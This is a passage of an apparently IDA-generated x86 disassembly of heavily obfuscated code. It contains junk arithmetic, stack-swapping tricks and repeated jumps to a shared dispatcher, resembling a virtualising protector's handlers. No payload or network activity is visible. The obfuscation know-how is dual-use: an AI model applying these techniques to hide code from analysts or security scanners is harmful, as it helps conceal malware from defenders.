		sub	ecx, 0AC4B7904h
		mov	edi, ecx
		pop	ecx
		jmp	loc_574025
; ---------------------------------------------------------------------------


loc_57C9B9:				; CODE XREF: ud2_____:00577F46j
		push	6790h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_57A47B
; ---------------------------------------------------------------------------


loc_57C9D6:				; CODE XREF: ud2_____:0057498Fj
		add	eax, 0FD99ADD0h
		jmp	loc_57D849
; ---------------------------------------------------------------------------


loc_57C9E0:				; CODE XREF: ud2_____:0057CD94j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57C9E5:				; CODE XREF: ud2_____:00575B52j
		add	esi, 37FD0492h
		xor	esi, 6CA62BB3h
		add	ebp, 67DF046Eh
		add	ebp, 2A5B1772h
		jmp	loc_577A2E
; ---------------------------------------------------------------------------


loc_57CA02:				; CODE XREF: ud2_____:00576CA0j
		push	62DBh
		mov	[esp], edx
		jmp	loc_5730F9
; ---------------------------------------------------------------------------


loc_57CA0F:				; CODE XREF: ud2_____:00573650j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_578CE8
; ---------------------------------------------------------------------------


loc_57CA1D:				; CODE XREF: ud2_____:0057DA0Ej
		push	edx
		push	ecx
		push	74D34FD1h
		pop	ecx
		push	edi
		mov	edi, 4D61D2h
		shl	edi, 7
		or	edi, 38C5381Eh
		sub	edi, 0EE25A6A0h
		xor	ecx, edi
		pop	edi
		mov	edx, ecx
		jmp	loc_57CB89
; ---------------------------------------------------------------------------


loc_57CA44:				; CODE XREF: ud2_____:00578705j
		add	ebp, edx
		jmp	loc_574061
; ---------------------------------------------------------------------------


loc_57CA4B:				; CODE XREF: ud2_____:0057D786j
		push	0BEBh
		mov	[esp], ebx
		push	eax
		jmp	loc_57BC44
; ---------------------------------------------------------------------------


loc_57CA59:				; CODE XREF: ud2_____:0057BECAj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57965F
; ---------------------------------------------------------------------------


loc_57CA76:				; CODE XREF: ud2_____:0057CBF6j
		mov	edx, 2F520315h
		inc	edx
		neg	edx
		xor	edx, 805289E2h
		jmp	loc_574301
; ---------------------------------------------------------------------------


loc_57CA89:				; CODE XREF: ud2_____:00579BB3j
		dec	dword ptr [esp]
		pop	edi
		jmp	loc_575DD8
; ---------------------------------------------------------------------------


loc_57CA92:				; CODE XREF: ud2_____:00573A55j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_578EA0
; ---------------------------------------------------------------------------


loc_57CAA3:				; CODE XREF: ud2_____:00573389j
		mov	esi, 4EB409F7h
		neg	esi
		xor	esi, 0FF72C9C7h
		mov	ecx, esi
		pop	esi
		mov	ebx, 0B1C6C032h
		add	ebx, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_577FCB
; ---------------------------------------------------------------------------


loc_57CAC5:				; CODE XREF: ud2_____:00575617j
		xor	ebp, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CAD4:				; CODE XREF: ud2_____:00574272j
		mov	[esp], esp
		jmp	loc_574235
; ---------------------------------------------------------------------------


loc_57CADC:				; CODE XREF: ud2_____:00578092j
		mov	esp, [esp]
		jmp	loc_5735C8
; ---------------------------------------------------------------------------


loc_57CAE4:				; CODE XREF: ud2_____:005781FEj
		add	al, 0F3h
		mov	dx, [esp]
		jmp	loc_579FA6
; ---------------------------------------------------------------------------


loc_57CAEF:				; CODE XREF: ud2_____:00579CF3j
		sub	ebx, 53CA746Bh
		xor	ebx, 310C5EAEh
		xor	ebx, 68D56858h
		push	eax
		jmp	loc_577A52
; ---------------------------------------------------------------------------


loc_57CB07:				; CODE XREF: ud2_____:00576050j
		pop	esi
		push	222Ah
		mov	[esp], eax
		jmp	loc_57CC36
; ---------------------------------------------------------------------------


loc_57CB15:				; CODE XREF: ud2_____:0057831Fj
		pop	eax
		push	0DFAh
		jmp	loc_57984F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57CB20:				; CODE XREF: sub_59C59F-28CACj
		pop	ax
		not	dl
		add	dl, 2Fh
		add	bl, dl
		pop	edx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------
		popa
		jmp	locret_57D58A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	48C7h
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5753AC
; ---------------------------------------------------------------------------


loc_57CB51:				; CODE XREF: ud2_____:00578EB6j
		or	edi, ebp
		pop	ebp
		inc	edi
		neg	edi
		sub	edi, 827CA824h
		jmp	loc_57BD1F
; ---------------------------------------------------------------------------


loc_57CB62:				; CODE XREF: ud2_____:005761FCj
		mov	[esp], eax
		neg	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5730EB
; ---------------------------------------------------------------------------


loc_57CB79:				; CODE XREF: ud2_____:005740C9j
		mov	ebx, 20h
		sub	ebx, 54535BCh
		jmp	loc_573B1F
; ---------------------------------------------------------------------------


loc_57CB89:				; CODE XREF: ud2_____:0057CA3Fj
		pop	ecx
		and	edx, 14E31DEEh
		not	edx
		jmp	loc_573A05
; ---------------------------------------------------------------------------


loc_57CB97:				; CODE XREF: ud2_____:005792BAj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 288C45D6h
		add	edx, 1
		shl	edx, 8
		neg	edx
		neg	edx
		sub	edx, 47305930h
		jmp	loc_57D039
; ---------------------------------------------------------------------------


loc_57CBBD:				; CODE XREF: ud2_____:005762C7j
		mov	ebp, 13620A69h
		xor	edx, ebp
		pop	ebp
		jmp	loc_57A1C3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CBD9:				; CODE XREF: ud2_____:0057BA53j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_578B9C
; ---------------------------------------------------------------------------


loc_57CBF5:				; CODE XREF: ud2_____:00571CB6j
		push	edx
		jmp	loc_57CA76
; ---------------------------------------------------------------------------


loc_57CBFB:				; CODE XREF: ud2_____:0057AA2Aj
		mov	[esp], edx
		push	ecx
		mov	ch, 39h
		push	ebx
		mov	bl, ch
		jmp	loc_57DBF7
; ---------------------------------------------------------------------------


loc_57CC09:				; CODE XREF: ud2_____:0057BEF3j
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_57D388
; ---------------------------------------------------------------------------


loc_57CC17:				; CODE XREF: ud2_____:0057BD64j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CC1C:				; CODE XREF: ud2_____:00572D31j
		inc	edi
		sub	edi, 65002D19h
		sub	edi, 0A60B03C0h
		add	esi, 9AA1D47h
		add	esi, edi
		jmp	loc_57A50E
; ---------------------------------------------------------------------------


loc_57CC36:				; CODE XREF: ud2_____:0057CB10j
		pop	dword ptr [edx+38h]
		mov	eax, [esp]
		jmp	loc_5766FD
; ---------------------------------------------------------------------------


loc_57CC41:				; CODE XREF: ud2_____:0057D09Dj
		mov	ebp, 70D774Bh
		dec	ebp
		add	ebp, 63E3C23Ch
		sub	ecx, ebp
		pop	ebp
		mov	esi, [esp]
		push	7A02h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57A2E9
; ---------------------------------------------------------------------------


loc_57CC68:				; CODE XREF: ud2_____:0057D920j
		push	253791Bh
		pop	edi
		add	eax, 5D293BAEh
		sub	eax, edi
		sub	eax, 5D293BAEh
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_579CD3
; ---------------------------------------------------------------------------


loc_57CC9D:				; CODE XREF: ud2_____:005760C6j
		sub	edi, edx
		pop	edx
		or	edi, 66B57BF4h
		sub	edi, 87C341CFh
		jmp	loc_578C4B
; ---------------------------------------------------------------------------


loc_57CCB1:				; CODE XREF: ud2_____:0057200Ej
		sub	eax, ecx
		pop	ecx
		push	632Ch
		mov	[esp], edx
		mov	edx, 3C08897Bh
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_57746F
; ---------------------------------------------------------------------------


loc_57CCCB:				; CODE XREF: ud2_____:0057764Ej
		push	2FCCh
		mov	[esp], ebx
		push	4E77h
		mov	[esp], edx
		jmp	loc_575184
; ---------------------------------------------------------------------------


loc_57CCE0:				; CODE XREF: ud2_____:005766C9j
		sub	bl, 0C1h
		pop	eax
		sub	dh, bl
		pop	ebx
		add	dh, 0BAh
		xor	al, dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_572700
; ---------------------------------------------------------------------------


loc_57CCF5:				; CODE XREF: ud2_____:0057A58Aj
		pop	ebp
		and	eax, ebx
		mov	ebx, [esp]
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	25F7h
		jmp	loc_57777E
; ---------------------------------------------------------------------------


loc_57CD3C:				; CODE XREF: ud2_____:005798B7j
		pop	esi
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		dec	ecx
		jmp	loc_57C220
; ---------------------------------------------------------------------------


loc_57CD4B:				; CODE XREF: ud2_____:00577AE5j
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		pop	edx
		jmp	loc_57864F
; ---------------------------------------------------------------------------


loc_57CD56:				; CODE XREF: ud2_____:00571C7Aj
		push	esi
		mov	esi, 7CC40502h
		add	edx, esi
		pop	esi
		not	edx
		not	edx
		sub	edx, 0AF04FBFh
		add	edx, 98B0A666h
		xor	ebx, edx
		pop	edx
		jmp	loc_57D66B
; ---------------------------------------------------------------------------


loc_57CD77:				; CODE XREF: ud2_____:005732D2j
		pop	edx
		push	ebx
		mov	ebx, 1CC43BF4h
		push	edi
		jmp	loc_5733E9
; ---------------------------------------------------------------------------


loc_57CD84:				; CODE XREF: ud2_____:005795F3j
		shl	ecx, 1
		inc	ecx
		jmp	loc_57D9A7
; ---------------------------------------------------------------------------


loc_57CD8C:				; CODE XREF: ud2_____:005786D4j
		xor	ecx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_57C9E0
; ---------------------------------------------------------------------------


loc_57CD99:				; CODE XREF: ud2_____:00575A9Ej
		push	1E4Ah
		jmp	loc_57C241
; ---------------------------------------------------------------------------


loc_57CDA3:				; CODE XREF: ud2_____:00574F5Dj
		mov	eax, [esp]
		jmp	loc_572236
; ---------------------------------------------------------------------------


loc_57CDAB:				; CODE XREF: ud2_____:005770DAj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3196064Bh
		jmp	loc_5789E7
; ---------------------------------------------------------------------------


loc_57CDB9:				; CODE XREF: ud2_____:00575A7Aj
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CDCF:				; CODE XREF: ud2_____:00571CC4j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_579380
; ---------------------------------------------------------------------------


loc_57CDDB:				; CODE XREF: ud2_____:0057D27Cj
		pop	edi
		push	ebp
		mov	ebp, 37097972h
		xor	ebp, 37097970h
		jmp	loc_573FCC
; ---------------------------------------------------------------------------


loc_57CDED:				; CODE XREF: ud2_____:00576601j
		mov	edi, 70EE218Ch
		xor	edi, edx
		pop	edx
		jmp	loc_572424
; ---------------------------------------------------------------------------


loc_57CDFA:				; CODE XREF: ud2_____:00579126j
		add	edx, eax
		pop	eax
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5759A3
; ---------------------------------------------------------------------------


loc_57CE11:				; CODE XREF: ud2_____:0057DBB2j
		push	ecx
		mov	cl, 1Bh
		sub	cl, 0FFh
		push	edx
		jmp	loc_5790C4
; ---------------------------------------------------------------------------


loc_57CE1D:				; CODE XREF: ud2_____:00578DDBj
		push	edi
		jmp	loc_5799C4
; ---------------------------------------------------------------------------


loc_57CE23:				; CODE XREF: ud2_____:005791EFj
		pop	ebx
		pop	ebx
		push	6C3Dh
		mov	[esp], ecx
		push	ebx
		mov	bl, 0Eh
		jmp	loc_579F93
; ---------------------------------------------------------------------------


loc_57CE35:				; CODE XREF: ud2_____:005743DBj
		or	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CE3F:				; CODE XREF: ud2_____:00578B26j
		mov	esi, 3C2B314Eh
		add	esi, ecx
		pop	ecx
		mov	ebx, esi
		pop	esi
		shr	ebx, 5
		jmp	loc_5737E1
; ---------------------------------------------------------------------------


loc_57CE52:				; CODE XREF: ud2_____:00573893j
		add	ebx, ebp
		jmp	loc_57BB3A
; ---------------------------------------------------------------------------


loc_57CE59:				; CODE XREF: ud2_____:00577464j
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ch, 0CBh
		add	dh, ch
		pop	ecx
		add	al, dh
		pop	edx
		jmp	loc_5763C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57CE6B:				; CODE XREF: sub_59C59F-26A45j
		xor	cl, 6Fh
		mov	bh, cl
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		shr	bh, 6
		sub	bh, 6Dh
		sub	dl, 52h
		add	dl, bh
		jmp	loc_57A9D0
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57CE86:				; CODE XREF: ud2_____:00576476j
		pop	edi
		push	ebx
		mov	ebx, 2
		jmp	loc_573430
; ---------------------------------------------------------------------------


loc_57CE92:				; CODE XREF: ud2_____:0057B65Bj
		neg	esi
		xor	esi, 7829CBA2h
		jmp	loc_57886F
; ---------------------------------------------------------------------------


loc_57CE9F:				; CODE XREF: ud2_____:00578381j
		push	edx
		mov	edx, esp
		jmp	loc_57798F
; ---------------------------------------------------------------------------


loc_57CEA7:				; CODE XREF: ud2_____:00577ABFj
		mov	[esp], esi
		jmp	loc_57456B
; ---------------------------------------------------------------------------


loc_57CEAF:				; CODE XREF: ud2_____:0057D0F7j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_579B29
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 579E5B99h
		shr	ebp, 3
		xchg	edi, ebp
		neg	edi
		xchg	edi, ebp
		or	ebp, 34905BDh
		jmp	loc_577055
; ---------------------------------------------------------------------------


loc_57CED9:				; CODE XREF: ud2_____:0057C698j
		shr	ecx, 0
		or	eax, eax
		jz	loc_57C840
		push	2573h
		jmp	loc_5745ED
; ---------------------------------------------------------------------------


loc_57CEEE:				; CODE XREF: ud2_____:0057C18Cj
		push	dword ptr [eax]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57CEF5:				; CODE XREF: ud2_____:005778C0j
		sub	eax, 36B16BE2h
		sub	eax, 4226A24h
		xor	eax, 0C85E81ABh
		xor	ecx, eax
		pop	eax
		push	54DEh
		mov	[esp], ecx
		inc	dword ptr [esp]
		pop	ecx
		not	ecx
		sub	ecx, 70547ED0h
		jmp	loc_57B931
; ---------------------------------------------------------------------------


loc_57CF20:				; CODE XREF: ud2_____:005754FAj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_57BDAD
; ---------------------------------------------------------------------------


loc_57CF30:				; CODE XREF: ud2_____:00577801j
		xchg	ebp, ebx
		sub	ebx, 58A1EAD5h
		sub	eax, ebx
		pop	ebx
		sub	eax, edx
		add	eax, 38A612D2h
		pop	edx
		add	eax, 403D6549h
		add	eax, 5C931DEh
		sub	eax, ebx
		sub	eax, 5C931DEh
		sub	eax, 403D6549h
		add	eax, 201340C3h
		push	edi
		push	eax
		mov	eax, 16FA48C2h
		sub	esp, 4
		jmp	loc_5779E5
; ---------------------------------------------------------------------------


loc_57CF70:				; CODE XREF: ud2_____:005798C8j
		pop	ebx
		push	ebp
		push	ecx
		push	33D72B14h
		jmp	loc_5746A4
; ---------------------------------------------------------------------------


loc_57CF7D:				; CODE XREF: ud2_____:0057B718j
		add	esi, ebp
		jmp	loc_5739F5
; ---------------------------------------------------------------------------


loc_57CF84:				; CODE XREF: ud2_____:0057D22Dj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	ecx
		jmp	loc_57D458
; ---------------------------------------------------------------------------


loc_57CF91:				; CODE XREF: ud2_____:00574644j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_57DBC5
; ---------------------------------------------------------------------------


loc_57CFA0:				; CODE XREF: ud2_____:00574EB9j
		mov	[esp], ebx
		xor	dword ptr [esp], 7EB43F22h
		jmp	loc_57DB08
; ---------------------------------------------------------------------------


loc_57CFAF:				; CODE XREF: ud2_____:005739AEj
		inc	cl
		push	ax
		mov	ah, 8Ah
		jmp	loc_573A36
; ---------------------------------------------------------------------------


loc_57CFBA:				; CODE XREF: ud2_____:0057A1DAj
		xor	edx, ecx
		pop	ecx
		inc	edx
		add	edx, 1
		push	ebx
		mov	ebx, 1FCB3C8Fh
		xor	ebx, 24F97C6Ch
		or	edx, ebx
		jmp	loc_57743B
; ---------------------------------------------------------------------------


loc_57CFD7:				; CODE XREF: ud2_____:00579CC5j
		or	eax, 541D527Ah
		xor	eax, 159727CCh
		and	edi, eax
		pop	eax
		xor	edi, 237D0B72h
		shl	edi, 6
		sub	edi, 8F50D7FCh
		add	ecx, 5FEF43FAh
		add	ecx, 639836FAh
		add	ecx, edi
		sub	ecx, 639836FAh
		jmp	loc_571FC7
; ---------------------------------------------------------------------------


loc_57D00C:				; CODE XREF: ud2_____:00576C15j
		xor	dh, ah
		mov	eax, [esp]
		jmp	loc_57B059
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57D01F:				; CODE XREF: ud2_____:00576DA3j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7866101Dh
		add	edi, ecx
		pop	ecx
		add	edi, ecx
		push	eax
		jmp	loc_5773A2
; ---------------------------------------------------------------------------


loc_57D039:				; CODE XREF: ud2_____:0057CBB8j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		sub	ebp, 0FFFFFFFFh
		push	eax
		mov	eax, 6DA0AC3h
		xor	eax, 25E70034h
		neg	eax
		dec	eax
		jmp	loc_5773EB
; ---------------------------------------------------------------------------


loc_57D06F:				; CODE XREF: ud2_____:00576C1Cj
		xor	ebx, 1475710h
		jmp	loc_57C95E
; ---------------------------------------------------------------------------


loc_57D07A:				; CODE XREF: ud2_____:0057815Bj
		sub	ebx, 0E3BB1DDCh
		xor	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_579836
; ---------------------------------------------------------------------------


loc_57D09A:				; CODE XREF: ud2_____:0057992Cj
		add	ecx, esi
		push	ebp
		jmp	loc_57CC41
; ---------------------------------------------------------------------------


loc_57D0A2:				; CODE XREF: ud2_____:0057C6E6j
		dec	ecx
		jmp	loc_5795ED
; ---------------------------------------------------------------------------


loc_57D0A8:				; CODE XREF: ud2_____:00572227j
		mov	[esp], ebx
		jmp	loc_574859
; ---------------------------------------------------------------------------


loc_57D0B0:				; CODE XREF: ud2_____:0057A653j
		mov	si, [esp]
		jmp	loc_576A53
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_575034
; ---------------------------------------------------------------------------


loc_57D0C1:				; CODE XREF: ud2_____:00572667j
		mov	ebp, [esp]
		jmp	loc_57C918
; ---------------------------------------------------------------------------


loc_57D0C9:				; CODE XREF: ud2_____:00577A65j
		mov	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_5780AF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_57A3D7
; ---------------------------------------------------------------------------


loc_57D0DA:				; CODE XREF: ud2_____:00577405j
		add	ebp, ecx
		jmp	loc_5741A6
; ---------------------------------------------------------------------------


loc_57D0E1:				; CODE XREF: ud2_____:005777B6j
		mov	eax, 0F476873h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_57CEAF
; ---------------------------------------------------------------------------


loc_57D0FC:				; CODE XREF: ud2_____:0057C94Cj
		xchg	ebx, [esp]
		jmp	loc_573DA0
; ---------------------------------------------------------------------------


loc_57D104:				; CODE XREF: ud2_____:0057B9C8j
		push	ebx
		jmp	loc_57C7F6
; ---------------------------------------------------------------------------


loc_57D10A:				; CODE XREF: ud2_____:0057C335j
		mov	edi, 47F30168h
		neg	edi
		jmp	loc_571CB3
; ---------------------------------------------------------------------------


loc_57D116:				; CODE XREF: ud2_____:0057C29Dj
		push	eax
		jmp	loc_57C1BD
; ---------------------------------------------------------------------------


loc_57D11C:				; CODE XREF: ud2_____:005740F3j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		jmp	loc_57B134
; ---------------------------------------------------------------------------


loc_57D129:				; CODE XREF: ud2_____:00579A4Dj
		sub	ebx, 1595796Fh
		pop	edx
		and	eax, ebx
		jmp	loc_57874D
; ---------------------------------------------------------------------------


loc_57D137:				; CODE XREF: ud2_____:00579411j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_576D6F
; ---------------------------------------------------------------------------


loc_57D154:				; CODE XREF: ud2_____:005791F6j
		mov	ch, bh
		jmp	loc_57DADD
; ---------------------------------------------------------------------------


loc_57D15B:				; CODE XREF: ud2_____:00572E41j
		mov	[esp], ecx
		push	edx
		mov	dl, 94h
		mov	cl, dl
		pop	edx
		xor	cl, 57h
		xor	ah, cl
		pop	ecx
		xor	ah, 2Ch
		sub	cl, ah
		pop	eax
		sub	bl, 0BAh
		add	bl, cl
		add	bl, 0BAh
		pop	ecx
		push	cx
		mov	ch, 12h
		jmp	loc_577E23
; ---------------------------------------------------------------------------


loc_57D182:				; CODE XREF: ud2_____:005769FDj
		xor	bh, dh
		pop	edx
		and	al, bh
		pop	ebx
		and	al, 7Ch
		and	al, 0BBh
		push	bx
		mov	bl, 0E3h
		sub	al, bl
		pop	bx
		jmp	loc_57A736
; ---------------------------------------------------------------------------


loc_57D199:				; CODE XREF: ud2_____:0057DBF2j
		add	ebx, 4
		jmp	loc_576C96
; ---------------------------------------------------------------------------


loc_57D1A4:				; CODE XREF: ud2_____:0057C0B2j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57D1A9:				; CODE XREF: ud2_____:00576BCAj
		pop	edx
		jmp	loc_576315
; ---------------------------------------------------------------------------


loc_57D1AF:				; CODE XREF: ud2_____:00576773j
		neg	ebx
		xor	ebx, 0A307B55Ah
		add	eax, ebx
		jmp	loc_57D251
; ---------------------------------------------------------------------------


loc_57D1BE:				; CODE XREF: ud2_____:0057947Bj
		xor	[esp+4], ebp
		pop	ebp
		pop	ebp
		jmp	loc_572523
; ---------------------------------------------------------------------------


loc_57D1C9:				; CODE XREF: ud2_____:005793BFj
		pop	edi
		push	4F64h
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_575A96
; ---------------------------------------------------------------------------


loc_57D1DC:				; CODE XREF: ud2_____:005746B9j
		pop	ecx
		sub	ebp, 6211247Eh
		push	ecx
		mov	ecx, 0FD5AB940h
		jmp	loc_57A133
; ---------------------------------------------------------------------------


loc_57D1EE:				; CODE XREF: ud2_____:00574102j
		push	cx
		mov	cl, 35h
		xor	al, cl
		mov	cx, [esp]
		push	113Fh
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 50214B80h
		push	ebp
		jmp	loc_57BA61
; ---------------------------------------------------------------------------


loc_57D20E:				; CODE XREF: ud2_____:00576BDBj
		push	3CFE685Dh
		jmp	loc_57469E
; ---------------------------------------------------------------------------


loc_57D218:				; CODE XREF: ud2_____:00577D8Ej
		neg	esi
		jmp	loc_57A99E
; ---------------------------------------------------------------------------


loc_57D21F:				; CODE XREF: ud2_____:005781CDj
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	7AD9h
		mov	[esp], ebx
		jmp	loc_57CF84
; ---------------------------------------------------------------------------


loc_57D232:				; CODE XREF: ud2_____:00571B38j
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_574A9C
; ---------------------------------------------------------------------------


loc_57D242:				; CODE XREF: ud2_____:0057B0E2j
		push	eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57D249:				; CODE XREF: ud2_____:005739B8j
		mov	edi, [esp]
		jmp	loc_579228
; ---------------------------------------------------------------------------


loc_57D251:				; CODE XREF: ud2_____:0057D1B9j
		pop	ebx
		sub	eax, 7B59159Fh
		sub	eax, ebx
		add	eax, 7B59159Fh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57D91D
; ---------------------------------------------------------------------------


loc_57D273:				; CODE XREF: ud2_____:005744A8j
		push	eax
		mov	eax, edx
		mov	edi, eax
		pop	eax
		pop	edx
		add	eax, edi
		jmp	loc_57CDDB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5791C7
; ---------------------------------------------------------------------------


loc_57D29B:				; CODE XREF: ud2_____:0057313Bj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_57612C
; ---------------------------------------------------------------------------


loc_57D2AC:				; CODE XREF: ud2_____:0057D7F9j
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 68997347h
		sub	eax, 68997343h
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_57BC52
; ---------------------------------------------------------------------------


loc_57D2D3:				; CODE XREF: ud2_____:005763C8j
		add	eax, 4
		push	esi
		jmp	loc_57350F
; ---------------------------------------------------------------------------


loc_57D2DE:				; CODE XREF: ud2_____:0057794Ej
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 201B7CC0h
		mov	ebp, 306BC06Dh
		sub	ebp, ecx
		jmp	loc_574497
; ---------------------------------------------------------------------------


loc_57D308:				; CODE XREF: ud2_____:005750ABj
		shl	edx, 4
		jmp	loc_5783E8
; ---------------------------------------------------------------------------


loc_57D310:				; CODE XREF: ud2_____:005799BFj
		add	esp, 4
		xor	eax, 76C774A4h
		jmp	loc_57533C
; ---------------------------------------------------------------------------


loc_57D31D:				; CODE XREF: ud2_____:0057D453j
		mov	[esp], edi
		jmp	loc_577BA4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	56B1h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57DB17
; ---------------------------------------------------------------------------


loc_57D347:				; CODE XREF: ud2_____:0057220Ej
		add	edx, 4
		push	esi
		jmp	loc_576CCF
; ---------------------------------------------------------------------------


loc_57D353:				; CODE XREF: ud2_____:0057965Aj
		and	ebx, 1D97017h
		shl	ebx, 5
		push	edi
		mov	edi, 13AB58C2h
		xor	ebx, edi
		pop	edi
		dec	ebx
		push	edx
		mov	edx, 28802201h
		add	ebx, edx
		pop	edx
		xor	ebx, 5E98391Ah
		jmp	loc_5752A8
; ---------------------------------------------------------------------------


loc_57D37A:				; CODE XREF: ud2_____:00574200j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4
		jmp	loc_57D882
; ---------------------------------------------------------------------------


loc_57D388:				; CODE XREF: ud2_____:0057CC12j
		add	esp, 4
		push	110h
		mov	[esp], ebp
		jmp	loc_57415F
; ---------------------------------------------------------------------------


loc_57D398:				; CODE XREF: ud2_____:00576B86j
		push	ecx
		mov	ecx, 769241DDh
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	ecx, 62143388h
		jmp	loc_57C17A
; ---------------------------------------------------------------------------


loc_57D3AF:				; CODE XREF: ud2_____:0057DC50j
		sub	esi, 5F60EF5h
		mov	edi, [esp]
		jmp	loc_57C6DA
; ---------------------------------------------------------------------------


